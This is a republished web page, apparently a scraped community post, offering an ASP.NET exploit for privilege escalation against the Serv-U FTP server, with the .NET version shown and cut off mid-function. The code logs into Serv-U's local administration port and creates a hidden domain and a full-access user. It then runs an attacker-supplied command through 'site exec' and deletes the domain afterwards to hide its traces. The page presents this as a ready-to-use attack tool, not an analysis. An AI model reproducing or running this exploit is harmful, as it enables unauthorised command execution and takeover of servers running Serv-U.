. NET/Perl/PHP three versions of Serv-U Elevation of Privilege

Source: Internet
Author: User
Tags getstream

1... NET version Serv-U Elevation of Privilege

<% @ Page Language = "VB" Debug = "true" %>
<% @ Import Namespace = "System. Net. Sockets" %>
<Script runat = "server">


Love, Where are you?

Sub BTN_Start_Click (sender As Object, e As EventArgs)
Dim Usr As String = Text_Name.Text
Dim pwd As String = Text_PWD.Text
Dim Port As Int32 = Text_Port.Text
Dim Command As String = Text_cmd.Text

Dim LoginUser As String = "User" & Usr & vbcrlf
Dim LoginPass As String = "Pass" & pwd & vbcrlf
Dim NewDomain As String = "-SETDOMAIN" & vbcrlf & "-Domain = cctv | 0.0.0.0 | 43859 |-1 | 1 | 0" & vbcrlf & "-TZOEnable = 0" & vbcrlf & "TZOKey =" & vbcrlf
Dim DelDomain As String = "-DELETEDOMAIN" & vbcrlf & "-IP = 0.0.0.0" & vbcrlf & "PortNo = 43859" & vbcrlf
Dim NewUser AS String = "-SETUSERSETUP" & vbcrlf & "-IP = 0.0.0.0" & vbcrlf & "-PortNo = 43859" & vbcrlf & "-User = lake" & vbcrlf &" -Password = admin123 "& vbcrlf &_
"-HomeDir = c: \" & vbcrlf & "-LoginMesFile =" & vbcrlf & "-Disable = 0" & vbcrlf & "-RelPaths = 1" & vbcrlf &_
"-NeedSecure = 0" & vbcrlf & "-HideHidden = 0" & vbcrlf & "-AlwaysAllowLogin = 0" & vbcrlf & "-ChangePassword = 0" & vbcrlf &_
"-QuotaEnable = 0" & vbcrlf & "-MaxUsersLoginPerIP =-1" & vbcrlf & "-SpeedLimitUp = 0" & vbcrlf & "-SpeedLimitDown = 0" & vbcrlf &_
"-MaxNrUsers =-1" & vbcrlf & "-IdleTimeOut = 600" & vbcrlf & "-SessionTimeOut =-1" & vbcrlf & "-Expire = 0" & vbcrlf &"- ratioUp = 1 "& vbcrlf &_
"-RatioDown = 1" & vbcrlf & "-RatiosCredit = 0" & vbcrlf & "-QuotaCurrent = 0" & vbcrlf & "-QuotaMaximum = 0" & vbcrlf &_
"-Maintenance = System" & vbcrlf & "-PasswordType = Regular" & vbcrlf & "-Ratios = None" & vbcrlf & "Access = c :\| RWAMELCDP" & vbcrlf
Dim Quit As String = "QUIT" & vbcrlf
Dim MAINTENANCE As String = "site maintenance" & vbcrlf

Dim client As New TcpClient
Dim tcpClient As New TcpClient ()
Try
TcpClient. Connect ("127.0.0.1", port)
Catch eee As Exception
Response. write (eee. ToString ())
Response. end
End Try
TcpClient. ReceiveBufferSize = 1024
Dim networkStream As NetworkStream = tcpClient. GetStream ()
Rec (networkStream)
Send (networkStream, LoginUser)
Rec (networkStream)
Send (networkStream, LoginPass)
Rec (networkStream)
Send (networkStream, MAINTENANCE)
Rec (networkStream)
Send (networkStream, DelDomain)
Rec (networkStream)
Send (networkStream, NewDomain)
Rec (networkStream)
Send (networkStream, NewUser)
Rec (networkStream)
Dim tcpClient2 As New TcpClient ()
Try
TcpClient2.Connect ("127.0.0.1", 43859)
Catch eee As Exception
Response. write (eee. ToString ())
Response. end
End Try
Tcpclient2.receive buffersize = 1024
Dim networkStream2 As NetworkStream = tcpClient2.GetStream ()
Rec (networkStream2)
Send (networkStream2, "User lake" & vbcrlf)
Rec (networkStream2)
Send (networkStream2, "pass admin123" & vbcrlf)
Rec (networkStream2)
Send (networkStream2, "site exec" & Command & vbcrlf)
Rec (networkStream2)
TcpClient2.Close ()
Send (networkStream, DelDomain)
Rec (networkStream)
Send (networkStream, Quit)
Rec (networkStream)
TcpClient. Close ()
End Sub



Sub Rec (o As Object)
If o. CanRead Then
Dim bytes (1024) As Byte
O. Read (bytes, 0, 1024)
Dim returndata As String = Encoding. ASCII. GetString (

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.